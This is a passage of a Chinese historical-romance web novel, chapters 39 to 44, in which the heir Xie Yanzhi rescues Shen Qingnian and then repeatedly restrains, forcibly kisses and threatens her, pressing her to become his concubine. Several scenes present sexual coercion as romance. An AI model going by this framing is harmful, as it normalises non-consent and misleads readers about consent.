所以他们是一伙儿的。 见沈清念四下看,那小厮一边靠近,一边解下腰带。 “小娘子,你别怕,我家主子吩咐我好好疼疼你。” 原本谭氏只是让那小厮扒了沈清念的衣服就把她扔在大街上。 但这小厮见沈清念这样一个美人儿,就起了亵玩的心思。 眼见那小厮越来越近,她本能地想往后退,奈何脚也被绑了起来,根本动不了,只能皱着眉,死死闭上眼睛,脑子里不停地想着办法。 她决不能受辱!眼泪却在不停往下掉。 突然,耳边传来小厮的一声惨叫,沈清念睁开眼,就看那小厮重重落在地上,嘴角渗着血,疼得龇牙咧嘴。 在小厮面前站着一个高大的身影,正是谢宴之。他手中一柄长剑,正直直地对着小厮的脖颈。 那小厮赶紧爬起来跪在地上连连求饶:“饶命啊,公子,是……” 不待那小厮说完,谢宴之转动手上的剑柄,那小厮就已无声息了。 谢宴之转过身,将剑入鞘,冷冷地看着她走过来。 沈清念被眼前的一幕吓到了。她从没有见过这种血腥的场面,手脚有些止不住地颤抖起来。 “世…子…”沈清念模糊地喊了一声。嘴里被塞着布条,根本说不出话。 谢宴之全然没有理会她嘴里呜呜的声音,替她擦掉眼泪,一把就将她抱了起来。 突然的腾空而起,让沈清念有些心慌,她被谢宴之这样抱着出去,万一被别人看到,又得说她勾引。 “世子……” 又是还来不及发出完整的声音,谢宴之就将斗篷盖在她身上,将她的脸也盖得严严实实后,才抱着沈清念走了出去。 他的人,不能这样被别人看到。 沈清念挣扎着想要自己下来走,可是她的手和脚还被绑着,根本就动弹不得,只能任谢宴之抱着。 谢宴之抱着沈清念上了他的马车,将人放在他腿上坐好后,就伸手替她将斗篷扯开,露出憋红的脸来。 沈清念扭动了一下身子,才发觉自己正坐在谢宴之的腿上,腰肢上也是谢宴之的大手,一时间觉着有些羞愤。 她抬了抬下巴,示意谢宴之扯掉她嘴里的布。 可谢宴之就这样淡淡看着她,眼里是说不清道不明的情绪。 忽然他就低下头在沈清念的额头上落下一吻。 他不想扯掉她的布条,省得她又说出那些他不想听的话来。 沈清念赶紧侧过脸去,躲避他的亲吻。 双手也使劲推,想从谢宴之的腿上下来。 也许是被沈清念惹恼了,谢宴之一下将人放在垫子上,身子附上去,让她不能再动。 “你抬起下巴,不就是要让我亲你?” 沈清念使劲摇头。 他就是个无耻之徒! 分明是在曲解她的意思。 她就被谢宴之这样压着,谢宴之灼热的气息的淌过她的脸,目光有些冷冽,就那样一直看着她。 察觉到谢宴之身下的异样,沈清念瞬间红了眼眶,眼角流出一行泪来,一双湿漉漉的眼满含委屈地看着他。 谢宴之见沈清念像受惊的小鹿般,眼里带着些幽怨。他伸出手来,轻轻抚上沈清念的脸。 语气淡淡,却不容拒绝。 “本世子给你两个选择,要么过几天正式纳了你,要么现在就要了你。” 第四十章 到底愿不愿成为我的人 谢宴之的话像一记惊雷落入沈清念的耳朵。 沈清念不禁又想到那日的情形。 她在亭子里被他强吻时,谢宴之说的也是相同的话。 他不是已经知道她的回答了吗? 她是宁死也不愿跟他沾上一丁点儿关系的。 谢宴之此刻伏在她身上,一双黑眸就那样盯着,她隐隐地在那双眼里看到了一股势在必得。 沈清念敢断定,今日若是不答应,谢宴之真的敢在马车上就要了她。 谢宴之面无表情道:“怎么,想好怎么选了吗?” 沈清念眨了眨眼,示意谢宴之扯掉布条,她现在说不出话。 谢宴之随即动手替她扯掉了嘴里的布。 被塞得太久,沈清念的两腮有些发酸。 她刚想放松一下脸颊,谢宴之又用手捏着她的下巴:“说吧,你准备怎么选? “你就不能去找别人吗?非要揪着我不放”沈清念抬着头问他。 “不能!” 他试过了,他对别的女人没有兴致。 甚至看到那些女人在他面前宽衣解带都会觉得恶心。 只有她沈清念,能轻而易举地就引起他的躁动。 让他不但不厌恶,还很想亲近。 沈清念眼神看向别处不看他,抽抽搭搭道:“你这样不就是逼我去死吗?” “我怎么就是要逼你去死了?”谢宴之的手掰过她的脸。 “难不成跟了我还能让你受什么委屈?” “还能让你像今日这样任人欺辱?” 谢宴之的额头又碰上沈清念的额头:“你就试试,跟着我只会让你活得更好。” 沈清念仍是小声啜泣。 “可我不想高攀世子,只想寻一普通人家,做正妻。” “普通人家?那岂不就跟今日一样,连个府里的寻常小厮都敢欺辱你。” “那普通人家能像我一样护住你吗?” “还有,我不喜欢看到我喜欢的人受欺负。” 他世子的妾室,总是好过布衣的正妻的。毕竟,有他在,就没人敢动她。 不管她愿不愿,都得陪着他。 “说吧,你到底愿不愿成为我的人?”谢宴之不再想理会她的虚以逶迤。 沈清念见谢宴之仍是说不通,咬着嘴唇不说话。 谢宴之突然一把将她的手举过头顶,另一手扯开她的衣裳。从脖子一路往下吻…… 他的吻很重很急,似要将她吞进腹中。 沈清念拼命踢腿,却被谢宴之的手死死按住,那大手一下滑到她的腰上,不断往下,正在扯掉什么。 粗重的喘息声不断在耳边响起,像是谢宴之发出的邀请,邀请她和他一起沉沦。 沈清念还是死死挣扎,眼里的泪又要溢出来。 “这是什么东西?”谢宴之突然停下了动作,看向沈清念的里衣。 那里有个硬硬的东西咯得他很不舒服。 沈清念想起来,是萧怀意送她的玉佩!她怕弄丢,一直贴身放着。 见沈清念不回答,谢宴之直接从她怀里掏出来。 一块玉佩赫然出现在谢宴之眼前,通体无暇的的羊脂白玉,一看就十分贵重。 “哪来的?”谢宴之眯着眼问道。 他不认为沈清念会有这么贵重的物件儿。 “是我母亲给我的!”沈清念想要夺过来,可是她的手还被牢牢地禁锢着。 “是么?”谢宴之盯着她,眸子里的黑一点点透出来,仿佛要将她吞没。 沈清念看着谢宴之的眼睛,察觉到了危险。 “那这是什么?” 谢宴之将玉佩翻了一个面,流苏上面一点赫然写着一个“萧”字。 沈清念的脸一下子煞白。 “是萧怀意给你的?”谢宴之拧着眉问她。他身体的躁动也一下子冷却下来。 沈清念只是看着那块玉佩:“你还给我!” “这块就不要了,我给你一块儿,定比他这个好。” “我不要!你还给我!”沈清念有些气恼,这根本就不是物件儿好不好的事。 有关系的是送物件儿的人! 谢宴之坐起身来,顿了顿:“你还是这么在意萧怀意?就那样忘不掉他?” “萧公子让我等他回来。到时我和他自会把一切说清楚。世子不必操心。”沈清念脖子抬得高高的,一脸的倔强。 “也不是不行。”谢宴之往坐垫旁一倒,一副慵慵懒懒的样子。 沈清念用一双湿漉漉的眼睛望着他,想从他眼里看出什么。 “你可以等着他。” 谢宴之又靠近她:“但你先跟我试试。” “本世子比他强。” 跟萧怀意比,他只会赢,不会输。 “谢宴之,你简直是无耻!” 如果沈清念现在不是被绑住手脚,她几乎要狠狠给他一记耳光! 谢宴之的眼神冷了冷,伸手抓住她的下巴:“我怎么无耻了?” 他说的难道不对吗? 他喜欢她,就要跟她在一起。 她要等萧怀意,那就等好了。反正她得是他的。 “我对你是有些喜欢,所以尊重你心里想着别的男人。” “你以为我就想这样?” 谢宴之又靠近了些,二人的气息交缠在一起。 谢宴之刚刚压下去的躁动又涌了起来,他又不自觉地向前靠近了一些。 冷冷的眼眸不肯放过她那莹润饱满的唇。 沈清念用手挡在前面,却发觉他的身体越来越烫,也越来越沉,要压得她踹不过气。 他的眼里满满的都是侵略,要将她卷入无尽的黑暗。 她浑身紧绷起来,心都快要跳出来。刚才的一幕还没有从脑中消散。 现在又要经历一次,她无论如何都要拼死抵抗的。 谢宴之的唇离她的仅有一丝缝隙的距离,感觉到身下的人颤抖着,他扬了扬嘴角:“害怕?” 沈清念用手推了推:“你起来!”她快要不能呼吸了。 她当然也很害怕。 谢宴之露出一个有些坏的眼神,“今日本世子费心救了你,总要换点儿什么东西吧。” 说完就对着那饱满的唇瓣啄了下去。 “唔唔唔…”沈清念手脚并用,反抗得很是剧烈。 觉着嘴里有了血腥味,谢宴之才停了下来。 沈清念咬了他! 不过他也无所谓,这些日子一直想与她亲近,顾灵玉今日倒是给他创造了机会。 他解开了她的手和脚,沈清念挥手要给他一记耳光,却被谢宴之抓住了手:“怎么?还想我再对你做点什么?” “先回去好好想想我的话,后面再来找你。” “下次别咬我,不然不会轻易饶了你!” 沈清念这才红着眼,收起手,转过身去不看他。 谢宴之倒是看着她的背影沉笑一声。 而马车外的元青后背已是一身汗。 爷的求爱方式也太霸道了。 难怪清姑娘不喜欢爷。 这也太强人所难了。 第四十一章 别乱动,我怕我会控制不住 元青将马车赶回了侯府。 沈清念整理了一下头发和衣裳,才掀开帘子准备下马车。 谢宴之饶有兴致地在后面看着她,冷不防开口:“回去好好休息,夜里我再来瞧你。” 沈清念没有回头。 来瞧就来瞧!反正面上端方君子,其实就是个无耻之徒! “这个,我帮你还给他!你现在不方便有别的男人的东西。” 沈清念回头,看谢宴之手中把玩着那块玉佩,狠狠瞪了他一眼。 谢宴之扬起一抹坏笑:“记得别关窗。” “不然,我也不介意夜里直接从正门进来。懂了没?” 沈清念抿了抿唇,她已经气到不想说话。 谢宴之就是夜里那个翻窗的贼!她早该想到的。 谁能不动声色地自由出入靖南侯府?当然只有他谢宴之。 谁能想到堂堂世子,竟会半夜翻闺阁女子的窗? 元青都在怀疑自己的耳朵是不是听错了。 向来都是别人赶着爬爷的床,现在爷竟然要去翻清姑娘的窗。 简直是小刀划屁股,开了眼了! 沈清念一下马车,守在门口的菱儿就跑了过来。 “小姐,你终于回来了,吓死我了。” “还好我路上遇到了大公子,他一听你不见了,就马上带人去找你了。” 菱儿自顾自地说着,她现在的确对谢宴之充满感激。 大公子平时看着对小姐挺凶,但实际上对小姐很上心的。 沈清念不想再听菱儿说谢宴之的种种好处了。他不过是想要占有她。 菱儿也并不知谢宴之的真实面目。她也不想与她多说。 刚刚经历了那一遭,沈清念现在想起来觉得浑身发寒。 她坐在床前,手中端着菱儿给的茶杯,里面的茶水滚烫,却驱赶不了她心里的寒冷。 她脑海中回想起今日的事。 她这种没有什么倚仗的人,轻易就可以被那些权贵随意打骂欺辱。 而谢宴之呢,他虽然愿意给她倚仗,但他又何尝不是将她推入另一个深渊? 什么跟了他能不被人欺辱。 妾就是个连奴婢都不如的玩意儿,主母可以随意打骂甚至发卖。她不信,谢宴之不清楚这些。 菱儿看着沈清念的脸色很不好,又摸了摸她的额头,没有发烫,她才放下心来。 菱儿有时候也会想,若是她们当日没有来这靖南侯府,是不是日子就不会这么难过。 从前在夫人的呵护下长大,每天都是开心的。 到了这里后,小姐变了许多,不再似从前那般,时常展露笑颜了。 夜里,菱儿将窗户关好后剪了灯芯,睡到外面榻上去了。 沈清念躺在床上,盖着温暖的锦被,也还是有些发凉。 要是一切都不是真的就好了。 她没有被父亲送给别人。 她没有来这靖南侯府。 她也不曾招惹到谢宴之。 她怎么能给谢宴之做妾呢?她历经千辛才逃出来,现在又要回到原点吗?为什么她始终被命运推着走,不能把握命运? 那头已经传来菱儿均匀的呼吸,沈清念却翻来覆去睡不着,头脑里思绪混乱,心中烦闷。 这时,她见窗户上有了一个影子。 那影子似推了推窗户,却并没有推开。 沈清念往上拉了拉被子,眼睛就盯着那影子。 她知道那是谢宴之,她在等他走。 过了一会儿,那影子就离开了。 沈清念松了一口气,这才从床上起来,轻手轻脚地将窗户开了一条缝儿往外看去。 外面黑茫茫一片,空无一物。 她悬着的心才终于放下来。谢宴之是真的走了,她还以为他会硬闯进来。 她正要关窗,一只手突然伸进来挡住了她的动作。 沈清念吓得往后退了一步,用手捂住了嘴。 “你想要我去走正门?”谢宴之趴在窗前,有些轻佻地看着她。 看沈清念还挡在窗口,没有要让他进去的意思。谢宴之收回了手,淡淡道:“那我走正门进来。 他说着就要转身,真的打算走正门进来。 沈清念慌乱地抓住他的衣袖,打开窗户,身子往旁边一站,让开了路。 谢宴之一下跳进窗户进到屋子里,深邃的眸子直直盯着沈清念,像一只即将发怒的野兽。 “没有下次!” “我不是会委屈自己的人。听明白了吗?” 谢宴之说着便凑在她耳边,灼热的气息扫着她的耳垂。 沈清念的心几乎要跳出来。她害怕这样的动静吵醒了菱儿。 谢宴之眯着眼,懒洋洋地往沈清念的床上一坐。 “表妹不让丫鬟给表哥倒杯茶吗?” 沈清念真的很想剜他一眼。 半夜三更地闯入她的闺房,她都要怕死了,他还这样云淡风轻地捣乱。 要是被别人知道了,她的名声还要不要了。 外面榻上传来菱儿翻身的声音,沈清念的心瞬间提到了嗓子眼。 “菱……”谢宴之想逗逗沈清念,故意要喊菱儿。 沈清念三步并作两步跑过去伸出手,捂住了谢宴之的嘴。 谢宴之则顺势将沈清念抱起来,放在了他腿上,大手搭上她的腰肢。 “这么急做什么?” 谢宴之又用手握住她的脚,替她取暖:“地这么凉,怎么不穿鞋?着凉了就好了?” 谢宴之看着那双脚,两只玉足小巧玲珑,盈盈一握,脚趾粉粉嫩嫩的,很是可爱。 谢宴之没想到女子的脚竟是这样好看。 心里也有些心猿意马起来。 沈清念挣扎着,想从谢宴之的身上下来,却被他紧紧箍住。 “别乱动,我怕我会控制不住。” 这句话包含了警告的意味,沈清念嗅到了一丝危险的气息,心里顿时有些紧张,再不情愿,也不敢再动。 谢宴之的呼吸明显急促了一些。 眼睛一直盯着她的胸口。 沈清念顺着他的眼神看过去,才发现她的里衣不知何时开了一些,隐约的露出里面的碧色的肚兜。 她的脸羞得又红又白,赶紧扯了扯衣裳,遮住那抹碧色。 这个谢宴之夜里来瞧她,就是为了来占她的便宜的? “你快些走吧,怕菱儿要醒了。”沈清念用气声轻轻说了一句。 甜软的气息在谢宴之的耳朵边飘过,有些痒痒的。 他将沈清念搂得更近一些,在她耳边沉声道:“怕什么,表哥会对你负责。” “世子快回吧,求你了。”沈清念真的很想给他一巴掌。 谢宴之看着她,开口道:“换个称呼。” “叫我的名字。” 沈清念知道他应该不会想她叫他的全名谢宴之。 但他想的那个,她实在是叫不出口。 谢宴之用手在沈清念的腰上挠了挠:“是不想叫还是不知道我的名字?” 沈清念现在只想赶紧让他离开,想了想,便叫了一声:“宴之…表哥。” 第四十二章 喊我的名字 “嗯?”谢宴之有些不满意。 他的眼眸静止了,就那样停留在沈清念的身上,如同审视一般。 沈清念被他看得有些不自在,低着头,手指紧紧捏着衣角。 谢宴之看着眼前的人儿忽地低下头,弯弯的眉眼里透着温柔,乖乖巧巧地在他怀里, 心里也不经柔软下来。 他用手帮沈清念捻起前的发,别到耳后。 罢了,就再给她一些时间吧,免得吓着她。 沈清念却有些不悦,却又不太敢表现出来。 她只能腹诽:之前连表哥都不让喊,现在还来强迫她喊他的名字。 她根本不可能喊得出口。 尤其谢宴之现在还搂着她。 他们是什么关系,他能一来就搂着她! 她现在只想赶快脱离谢宴之的怀抱,脱离他的魔爪。 这时,屏风那边传来窸窸窣窣的声响。 是菱儿起身了! 沈清念紧紧贴着谢宴之,手攥紧了他胸前的衣襟,秉着呼吸,眼睛都不敢眨一下,一直注意着菱儿的动静。 谢宴之笑了笑,大手覆上她的那只小手,让她安心。 其实有什么好怕的,左右她都是他的,他们的关系总会被人知道。 还是得早一些把人弄到他的院子里才好,省得这般憋屈。 沈清念可不知谢宴之的心思。 她看着菱儿揉了揉眼睛,披着一件衣裳,轻手轻脚地开了门,往左边去了。 看样子,是去恭房了。 沈清念推了推谢宴之:“你快些走吧。” 语气里带着些焦急。 “又不喊我的名字?”谢宴之一副不喊就不走的样子。 “宴之表哥!”沈清念已经急得不行了,外面已经传来了细碎的脚步声。 菱儿就要回屋子了! 谢宴之揉了揉她的头发,不再逗她。 起身来到窗边,回头看着沈清念:“今日夜深了,明日我再来同你说。” 明日还来?能不能今日全部说完? 沈清念的惊讶一下全呈现在了脸上,但她随即努力调整了一下表情。 谢宴之可没错过她脸上的变化! 最终,在沈清念满含期盼的眼神中,谢宴之黑着脸从窗户翻了出去,隐进了茫茫夜色中。 沈清念迅速锁上窗户,生怕那人去而复返。 她轻手轻脚地绕过屏风,见菱儿进来后,躺在榻上很快就睡得香甜,她才放下心来。 她又躺回床上,辗转反侧,不知过了多久,才睡过去。 第二日,沈清念在菱儿的惊呼声中醒过来。 “小姐!你的……” 她还以为是昨晚的事被菱儿发现了。 沈清念深深地呼吸了一口才睁开眼,见菱儿已经来到床前,一把要将她拉起来。 “小姐,你的床上都在漏雨了!快起来!” 沈清念这才抬起头,看到纱帐上的雨滴正一滴滴往下掉。 她再看看外面,此刻正是瓢泼大雨,而她们的屋顶四处都有渗水的痕迹。 这浅月居常年没人住,开春了以后又经过了几次暴雨,屋顶终于有些承受不住,有好几处都开始漏雨了。 沈清念被菱儿拉起来后,菱儿又拿了两床被子放在桌子上,手忙脚乱的。 而她看见自家小姐在一旁却很平静,丝毫没有被这样坏情形乱了心神。 菱儿看着不断渗进来的雨,有些气恼:“小姐,要是这雨不停,我们还怎么睡啊?” 她的榻和小姐的床都打湿了。 这雨看起来一时半会儿也停不了。 沈清念忽然想到什么了,笑了笑:“这雨漏得好!真好!” 菱儿摸了摸小姐的额头,没发烧啊,怎么说起胡话来了? “小姐,我们都没地方睡了,还好什么?” 沈清念刮了刮她的鼻子,语气愉悦:“是在浅月居没地方睡,我们可以去别的地方睡啊!” 夜里,雨还没有停。 谢宴之撑着油纸伞到了浅月居。 还没伸手,窗户就是开着的。 她今日倒是乖巧了。 他勾了勾唇,纵身一跃,进到了屋子里。 谢宴之看了看,沈清念并没有在床边,应该是睡下了。 他轻悄悄地来到床边,把手伸向被子:“怎么也不等我就睡了?” 想象中的柔软没有摸到,只触摸到的一个硬邦邦的枕头。 谢宴之猛地把整个被子掀开,床上空荡荡的,什么都没有。 他眉头微微一皱,又绕到屏风后面看了看,发现菱儿也不在。 人呢?难道沈清念逃走了? 谢宴之的心里烦躁起来,黑色的眸子更是要蹦出火星子一般。 他就不该让她回来想想,应该直接把她绑到他的院子去! 沈清念就是一个骗子!在他的面前虚与逶迤! 他现在就要带人去将这个骗子抓回来! 想着,他就要翻窗出去,一滴雨冷不丁地滴到他的额头上。 他的手指捻了捻那滴雨,好像想到了什么。 随后拿出火折子吹了吹,整个屋子便亮了起来。 谢宴之发现她们的东西都还在的,妆奁上他给她的玉梳子也还在。 又往墙上看了看,发现屋子四周在漏雨。 谢宴之沉声笑了笑。他的心情一下就好了许多。 他现在算是知道什么叫关心则乱了。这两人怕是躲雨去了。 此刻,沈清念和菱儿正在苏姨娘的院子里。 室内烛火明亮,不漏风不漏雨,菱儿很是高兴。 “念儿,浅月居的事明日我去求求老夫人。” “若老夫人不愿拨银子修缮,姨母就自己贴些银钱给你修缮。” 从上一次苏姨娘算计过沈清念后,二人已经把话说开。如今,苏姨娘也只把沈清念当做女儿一般疼爱,再不想别的。 “多谢姨母。”沈清念望着苏姨娘,眼眶一下就红了。 姨母眼角的小红痣与母亲的一模一样。 她已离家多日,不知母亲怎么样了。她也不敢寄信回去,就怕被父亲发现,再将她抓回去。 “念儿,你为何哭了?”苏姨娘赶紧拿了帕子,替沈清念擦泪。 “无事,姨母,我只是有些想母亲了。” 听到小姐说起夫人,菱儿也有些难过起来。 她们逃走的时候,她回头看见夫人被老爷狠狠扇倒在地,却仍是给她眼色,让她带小姐快走。 此时,在谢宴之的书房里,元青恭敬道:“浅月居漏雨,今日一早,清姑娘就搬到苏姨娘那处了。” 第四十三章 他竟然想要近一些女色 “早上就去了?” 谢宴之皱了皱眉。 看来她根本就没想过要告诉他,或者说她是在躲着他。 而老夫人终究还是让大夫人拨了些银子来修缮浅月居。 接下来的几天,沈清念都在苏姨娘的院子里,不曾出去走动。 她要躲着谢宴之,能躲一时是一时。 “念儿,今日我要去庄子里给二爷送药去。” “你替我去给老夫人请安吧。” “大夫人愿意拨银子修缮浅月居,全是老夫人发话了,于情于理,你也该去道谢的。” 苏姨娘一边说着,一边将一些衣服,药材都装进包袱里。 做这些的时候,她的脸上始终带着笑。 从林氏带谢敏和二爷去了庄子上,她已经有好些日子没见着二爷了。 今日一早便收到林氏找人带的口信,说是二爷的药没有了。 她便心急如焚地让秋叶赶紧备齐了东西,拾掇拾掇,便要带着秋叶出门了。 “姨母,放心,念儿都省得。” 苏姨娘站在门槛儿回头看了看沈清念,光透过窗投到沈清念的脸上,衬得她十分温柔。 瓷白的脸上没有涂脂抹粉,看着也是那么精致。 她还是有些担心她要嫁入平凡人家,所要面临的困苦,她能不能承受。 苏姨娘朝她笑了笑,便提着包袱走了。 沈清念有些对二爷的病也有些好奇。 听姨母说他以前也是勇猛非凡,风流倜傥。有一日晨起时,身子就突然不能动弹了。 她到现在也没见过二爷。 现在要紧的是带着菱儿去问心堂请安。 到了问心堂,沈清念一眼便看到了端坐在上面的谢宴之。 星眸剑眉,神明俊朗,一身镶金锦袍,衬得贵气十足。 她的心里不免紧张起来。但现在这么多人在,她也不信他能做些什么。 “老夫人安好!” “表哥安好!” 沈清念对着二人屈膝福了一礼。 老夫人面露慈祥,和善地道:“快坐吧!” 而谢宴之只是坐在那儿,眼皮都没抬一下,薄唇微抿,整个人透着一股冷淡与疏离。 好像他和她并不熟悉。 沈清念也说不清这是什么感觉。 好像谢宴之之前对她的那些纠缠只是一场梦。 又或者只是她的臆想。 或许他知道她有意躲着,失去了耐心,不再打她的主意了。 这样一想,沈清念心里也放松下来。 老夫人看着谢姝道:“姝儿今年也十五了,是不是该相看人家了?” 谢姝羞得脸有些发红,拿帕子挡着脸:“主母,姝儿还不想嫁人。” “哪有女儿家大了不嫁人的?”老夫人笑了笑。 说完,她又看了一旁的薛氏。 “女儿家可不比男儿,还是早些相看,省得好男儿都被别的姑娘挑走了。” 薛氏心知老夫人是在责怪她还没有为谢宴之娶妻。 以为她这继母对谢宴之的婚事上心。 薛氏可不敢去碰谢宴之的霉头,上回的事她记得清楚。 谢宴之连自己的亲爹都敢忤逆,更何况是她这个继母。 她可不敢得罪谢宴之。到时候连累姝儿没了娘家依靠。 薛氏讪笑了一下:“这宴哥儿还没有娶新妇,姝儿身为妹妹,哪有许人的道理啊。” 老夫人一瞧薛氏那个不中用的样子,瘪了瘪嘴。 不过她这孙儿的脾气,她也是清楚的。 老夫人转过身去,拉住谢宴之的手:“宴哥儿啊,你也不小了。” “这屋子里连个通房都没有,外面的人不知传得多难听。” “祖母给你安排个通房如何?或者暖床丫头也好呀。” 他们靖南侯府本来就男丁少,现在谢宴之和谢昭都没有娶妻,更没有过通房。 谢昭才十六,还可以缓一缓。 但谢宴之已经二十了,眼下还没有什么动静,院子里又基本是小厮。 老夫人甚至想着哪天要是有丫鬟爬床成功了,她给那丫鬟一箱南洋东珠都成。 可现在呢!别说外面的人了,现在连老夫人都怀疑他是否有什么难言之隐。 又或者像别人说的有龙阳之好。 她实在是忧心得很。 谢宴之眉头一皱,瞥了一眼那个身影,眉头又舒展开来:“祖母,通房就不要了,孙儿想直接纳一门妾室。” 众人皆是一惊,原以为谢宴之不近女色,没想到这一张口,就是要抬一门妾室。 谢姝也惊讶不已,这大哥常年冷得跟个冰川似的,丫鬟多看他一眼,都要被发卖。 今日居然说要纳妾了,她也有些好奇,到底什么样的女子能入大哥的眼。 老夫人更是大喜,她的孙儿终于是开窍了。 虽说还没有娶妻便要纳妾有些不妥。 但他总归是愿意跟姑娘家在一处了。 谢宴之本就性子犟,她原以为今日多费些口舌,他也不会同意。 没想到这么顺利。 沈清念原本就打算做个透明人,坐在那儿等他们说完话就退下。 此刻听到谢宴之的话,心里莫名有些紧张。 老夫人稳住表情,看谢宴之的样子,就知他心里应是有了人选。 但老夫人还是问了句:“宴哥儿可有中意的人?” 谢宴之转过头来,扫视了屋子一圈。 最终看向了沈清念的方向。 幽深的眸子里带着些冷冽,目光直直逼向她。 这一眼看得沈清念的心都要跳出来,手心都出了汗。 谢宴之要是当众提出来要纳她为妾,她该怎么拒绝? 他不是说给她时间好好想想吗? 难道是这几天躲着他,反而惹怒了他? 谢宴之瞧着底下那人低着头,缩着身子,像只鹌鹑般,像是想让人注意不到她。 又见她手指捏紧绣帕,那帕子上已经捏了很多褶子,她还一副浑然未觉的模样。 谢宴之顿觉心里舒畅了许多。 这就是他给沈清念的教训。 躲着他可是要付出代价的。 老夫人也顺着谢宴之的目光看去,底下那抹鹅黄的人影低垂着头,捏着帕子。 原来谢宴之中意的竟是那个清丫头。 难怪他要出银子帮她修缮浅月居,还说什么只是帮一帮表妹。 老夫人这才好好打量起沈清念来。 清丫头肤色白皙,容貌出众,放在这京城里,都是少有的美人儿。 宴哥儿会被迷了去,也是正常的。 再则,清丫头向来乖巧,也知书达礼。 娘家又没什么靠山,纳进来了,将来也掀不起什么风浪。 难得是她竟然能让宴哥儿动了纳妾的念头,想要近些女色。 也算是她的功劳了。 待宴哥儿纳了她,就多赏她一些好物件儿,让她安安分分的。 老夫人看沈清念的目光顿时慈爱了许多。 第四十四章 躲我?嗯? 沈清念虽没有抬头,却能觉察有道视线一直落在自己身上。 她双手攥得紧紧的,抬起头向谢宴之的方向看去。 见谢宴之盯着她不动,眼眸里的那道凌厉的光仿佛要将她击穿。 一股寒意袭上心头。 沈清念几乎就要坐不住了。 她看到老夫人也在望着她,眉眼带笑,眼神里透着些欣喜。 好像对她很满意的样子。 沈清念捏了一下帕子,心里咯噔一下。 她敢保证,就算她说出拒绝谢宴之的话,老夫人也会强迫她给他做妾的。 她不由地咬紧了嘴唇。 “孙儿还未有人选,但孙儿不想要那种腰太细的,腿太短的,穿衣打扮太素的。” 说完,谢宴之才缓缓地收回目光,装作不在意一般,端起桌边的茶,浅浅饮了一口。 却在茶杯贴近嘴唇的瞬间瞥了沈清念一眼。 瞥见沈清念的脸有些发红,像他爱的樱桃般,惹人喜爱。 她刚刚几乎就要站起来,义正言辞拒绝他了。 结果,他故意作弄她! 变着法子嘲笑她,什么不喜欢腰细的,朴素的? 哪次他没搂着她的腰? 一张嘴惯会胡说八道! 沈清念看着这谢宴之一本正经的模样,心中腹诽:衣冠禽兽! 老夫人看了看沈清念。 那腰杨柳似的,盈盈一握。 清丫头今日穿着鹅黄的长裙,发上除了银簪,再无其他,打扮确实太素。 身量虽不及宴哥儿,但在女子里也算高挑的,腿并不短。 老夫人的脸一下就垮了下来,原来是空欢喜一场。 她又看了眼沈清念,瘪了瘪嘴,心道又是一个不中用的! 薛氏还以为谢宴之是想要纳了沈清念,她还替顾灵玉抱不平。 现在看来谢宴之不是喜欢沈清念,而是有些讨厌她呀。 她就说,这乡下来的姑娘怎么可能比过京城的贵女去? 又说了一会儿话,老夫人边让众人都回去休息了。 等大夫人他们先一步出了门,沈清念才从问心堂里出来。 菱儿跟着老夫人身边的麽麽去领东西了。她只能自己回姨母的院子去。 她看着前面大夫人和谢宴之,故意放缓了脚步。 想着刚刚的一幕,沈清念的腿还有些发软。 还好,谢宴之脚下生风似的,大步朝前,一点儿没有要等她的意思。 沈清念在后面远远地跟着,直到谢宴之的身影消失在园子的拐角处,她才快步往苏姨娘的院子去。 也许是心有余悸,她走得比兔子还快。 一个身影却冷不防出现,捂住她的嘴,将她拉进一旁假山里。 沈清念感受到迎面而来的压迫感,后背已是出了一身冷汗。 假山里的空间小,两人离得很近,鼻息相互纠缠着,沈清念感觉自己就要窒息了。 谢宴之看着她的眼睛,嗓音低沉的一句:“躲我?嗯?” 沈清念躲开他的视线,有些心虚道:“我没有躲,我…只是没想好。” 话音刚落,谢宴之就猛地向她倾轧过来,贴上那莹润饱满的唇瓣。 沈清念往后挣扎,她只觉得透不过气来。 她用手捶打着谢宴之,但却毫无作用。 换来的是他更加肆无忌惮的亲吻。 吻她的脸,她的脖子,一直向下…… 谢宴之搂紧她的腰肢,束缚着她的双手,让她逃脱不得。 这几日他太想她了,所以一时难以自控。 沈清念只觉得自己被侵犯着,后背也很疼,眼泪一个劲儿地往下掉。 像是得到了满足,谢宴之终于停了下来, 看着眼前的人唇上湿漉漉地铺着一层水渍。 原本粉色的唇,在他的用力下变得鲜嫩欲滴,一片嫣红。 那些红肿让它变得愈加饱满起来。 他的喉头滚了滚。 沈清念无声地哭泣,眼泪不停地往下掉,那模样委屈极了。 谢宴之抿了抿唇。 一切都是她自找的! 谢宴之搂着她,把她的脸放进他的怀里,拍着背安抚着她。 “以后还躲吗?”他凑在她耳边问道。 沈清念低着头,不说话,用手推了推谢宴之。 他还是岿然不动,反而更加用力箍紧了她:“没想好也不许躲。” “或者,你先搬到我的院子里,再慢慢想。” 听到她这样说,沈清念一下就抬起头,一双眼里满是哀怨。 “你每次都这样逼我!” “还这样欺负我!” 今日在问心堂里,她都要被他吓死了。 谢宴之也知道她自是不情愿的。他也只是想给她一个教训而已。 “本世子的耐心也是有限的。” “你再这般把我惹火了,我可不管你是愿意还是不愿意。” 他这个世子已经给足了她耐心了。 他何时这样憋屈过? 想到自己刚才的举动是有些孟浪了,谢宴之用自己的袖口替沈清念擦泪:“今日只是吓吓你,别再哭了。” 沈清念打掉了他的手,侧过头去不理他。 “早点搬回浅月居去。” 见沈清念还是不搭理他。 谢宴之又说了两个句狠话:“不然我就去苏姨娘的院中找你!” “到时你就算不愿,苏姨娘也只能把你送到我的院子里来!” 沈清念有些气恼,只能回过头来看着他:“那屋子还没有修好,我怎么回去?” 谢宴之扬了扬嘴角:“明日你就能搬回去。夜里我再来瞧你。” 谢宴之又抱了一会儿,才放沈清念回去。 第二日一大早,元青就过来帮着沈清念和菱儿搬东西。 浅月居也确如谢宴之说的那样,过了一日便修缮好了。 元青殷勤地拿过菱儿手上的包袱,跟着二人往浅月居去。 他心里其实挺愧疚的。 爷说是让他过来帮忙搬东西,其实是想让他来看着清姑娘搬回浅月居去。 省得爷夜里又扑了个空。 元青觉着自己像爷的帮凶,逼着一个弱女子就范。 他看了看那个扎双丫髻的背影,心里暗道: 还好菱儿还小,什么都不知道,不然,他以后都没脸出现在她面前了。 为了在沈清念面前替这谢宴之博得一分好感。 他看了不远处的浅月居,对沈清念道:“清姑娘,这回公子拿出了不少银子来修缮浅月居的。” “您等会儿看看满不满意?” “是世子出的银两?不是大公子拨的银钱吗?”沈清念有一些诧异。 难怪谢宴之那么笃定浅月居能很快修缮。 